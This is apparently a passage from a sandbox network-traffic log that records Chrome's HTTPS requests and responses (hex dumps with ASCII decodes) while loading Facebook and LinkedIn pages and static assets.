74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1383	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:35 UTC	2556	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 63 6f 6e 66 69 67 76 65 72 73 69 6f 6e 3d 22 41 63 4c 6d 35 56 68 53 62 58 32 58 34 78 77 52 72 56 4e 4f 76 70 73 34 4b 57 73 72 65 77 4b 4c 39 64 45 63 65 36 73 4a 30 6b 54 6c 69 46 33 66 79 32 38 71 4c 53 44 47 54 73 38 4d 79 77 22 3b 20 65 5f 63 6c 69 65 6e 74 61 64 64 72 3d 22 41 63 49 61 74 51 39 71 39 70 5f 5f 4b 49 65 4f 42 30 77 37 67 32 44 54 55 76 34 38 4e 56 59 75 7a 63 50 52 6f 34 77 72 56 31 58 4b 4e 39 6e 6a 45 56 4b 69 72 69 66 57 7a 61 43 4b 4a 2d 66 34 4a 66 78 73 4f 5f 61 6c 71 74 73 36 73 36 36 7a 5f 53 49 64 67 4b 49 33 64 75 31 73 47 71 4d 5f 36 58 58 69 51 63 6f 64 4f 45 58 45 6d 64 46 67 22 3b 20 65 5f 66 62 5f 76 69 Data Ascii: Proxy-Status: http_request_error; e_fb_configversion="AcLm5VhSbX2X4xwRrVNOvps4KWsrewKL9dEce6sJ0kTliF3fy28qLSDGTs8Myw"; e_clientaddr="AcIatQ9q9p__KIeOB0w7g2DTUv48NVYuzcPRo4wrV1XKN9njEVKirifWzaCKJ-f4JfxsO_alqts6s66z_SIdgKI3du1sGqM_6XXiQcodOEXEmdFg"; e_fb_vi
2024-04-11 20:35:35 UTC	164	IN	Data Raw: 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 38 32 2c 20 72 74 78 3d 30 2c 20 63 3d 31 30 2c 20 6d 73 73 3d 31 32 37 37 2c 20 74 62 77 3d 33 34 30 33 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 38 37 2c 20 75 6c 6c 61 74 3d 30 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=10, mss=1277, tbw=3403, tp=-1, tpl=-1, uplat=87, ullat=0Alt-Svc: h3=":443"; ma=86400Connection: close
2024-04-11 20:35:35 UTC	1336	IN	Data Raw: 33 37 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 31 70 71 68 62 73 46 6a 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: 37a7<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="1pqhbsFj">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 Data Ascii: en and (max-width: 640px)" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><link rel="alternate" media="handheld" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><meta name="robots" content="noodp,noydir" /><meta property="og
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 Data Ascii: 935":{"result":false,"hash":null},"20939":{"result":true,"hash":null},"20940":{"result":false,"hash":null},"21043":{"result":false,"hash":null},"7742":{"result":false,"hash":null},"20836":{"result":false,"hash":null},"20936":{"result":false,"hash":null},"
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 36 39 22 2c 5b 22 44 61 74 61 53 74 6f 72 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 61 74 61 53 74 6f 72 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 58 6a 51 2d 45 64 39 57 46 6a 6d 73 35 Data Ascii: "__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",["RunBlue"],{"__rc":["RunBlue",null]},-1],["cr:6669",["DataStore"],{"__rc":["DataStore",null]},-1],["ServerNonce",[],{"ServerNonce":"XjQ-Ed9WFjms5
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 46 72 6f 6d 54 69 65 72 22 3a 31 30 30 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 32 39 31 2c 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 Data Ascii: FromTier":100,"hypStep4":false,"phdOn":false,"btCutoffIndex":2291,"fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetries":[200,500],"translationRe
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 3a 22 41 56 71 30 6d 54 52 73 58 43 51 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 36 31 30 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 31 37 39 32 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 38 32 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 69 Data Ascii: :"AVq0mTRsXCQ"},323],["SiteData",[],{"server_revision":1012716101,"client_revision":1012711792,"push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19824.BP:DEFAULT.2.0..0.0","pr":1,"manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_ori

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	50037	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:36 UTC	1063	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307099 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 02:04:42 GMT Server: ECAcc (nyd/D18B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 201 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.001627604; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909861ddaceb15af296467f3ff X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJhh3azrFa8pZGfz/w== Content-Length: 201 Connection: close
2024-04-11 20:35:36 UTC	201	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 64 3d 22 4d 38 20 39 6c 35 2e 39 33 2d 34 4c 31 35 20 36 2e 35 34 6c 2d 36 2e 31 35 20 34 2e 32 61 31 2e 35 20 31 2e 35 20 30 20 30 31 2d 31 2e 36 39 20 30 4c 31 20 36 2e 35 34 20 32 2e 30 37 20 35 7a 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg width="16" height="16" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path d="M8 9l5.93-4L15 6.54l-6.15 4.2a1.5 1.5 0 01-1.69 0L1 6.54 2.07 5z" fill="currentColor"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	50041	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	1308	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=b&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1086 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMfWfg1UNd9E4i5AF sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05QMfziSeaJCHPXyf..BmGEmX..AAA.0.0.BmGEmX.AWVmLAOp0HY
2024-04-11 20:35:35 UTC	1086	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4d 66 57 66 67 31 55 4e 64 39 45 34 69 35 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 35 33 32 32 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4d 66 57 66 67 31 55 4e 64 39 45 34 69 35 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 9c 7d 52 5d Data Ascii: ------WebKitFormBoundaryMfWfg1UNd9E4i5AFContent-Disposition: form-data; name="ts"1712867735322------WebKitFormBoundaryMfWfg1UNd9E4i5AFContent-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamx}R]
2024-04-11 20:35:36 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:36 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:36 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	50042	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	372	OUT	GET /rsrc.php/yT/r/aGT3gskzWBf.ico HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:36 UTC	1611	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: PnZPD3N3Z7MKaS+rHePOSQ== Expires: Sat, 05 Apr 2025 09:31:08 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: EsCuIIzYGCa+RCI3L4awJ18ruroEgdzVvxYBfy575QIA3TwomMZvD9TKPzq5+/nGRGYFNZ6Kjfz+sqStxGxRBQ== Date: Thu, 11 Apr 2024 20:35:36 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5430
2024-04-11 20:35:36 UTC	1	IN	Data Raw: 00 Data Ascii:
2024-04-11 20:35:36 UTC	5429	IN	Data Raw: 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 68 08 20 ff 66 08 a0 ff f3 ec cf ff ff ff ff ff ff ff ff ff 66 08 df ff 67 09 90 ff 64 08 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 60 00 10 ff 65 07 90 ff 66 08 ff ff 66 08 ff ff eb e0 ff ff ff ff ff ff ff ff ff ff 66 08 ff ff 66 08 ff ff 66 08 ff ff 65 09 90 ff 70 10 10 00 00 00 00 00 00 00 00 00 00 00 00 ff 60 00 10 ff 66 07 cf ff 66 08 ff ff 66 08 ff ff 66 08 ff ff eb e0 ff ff ff ff ff ff ff ff ff ff 66 08 ff ff 66 08 ff ff 66 08 ff ff 66 Data Ascii: h& ( h ffgd@`efffffep`ffffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	50045	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	611	OUT	GET /rsrc.php/v3/y0/r/eFZD1KABzRA.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:36 UTC	1634	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ZFLtdcU+Go6QpmTfGJWakA== Expires: Sat, 05 Apr 2025 09:40:04 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), 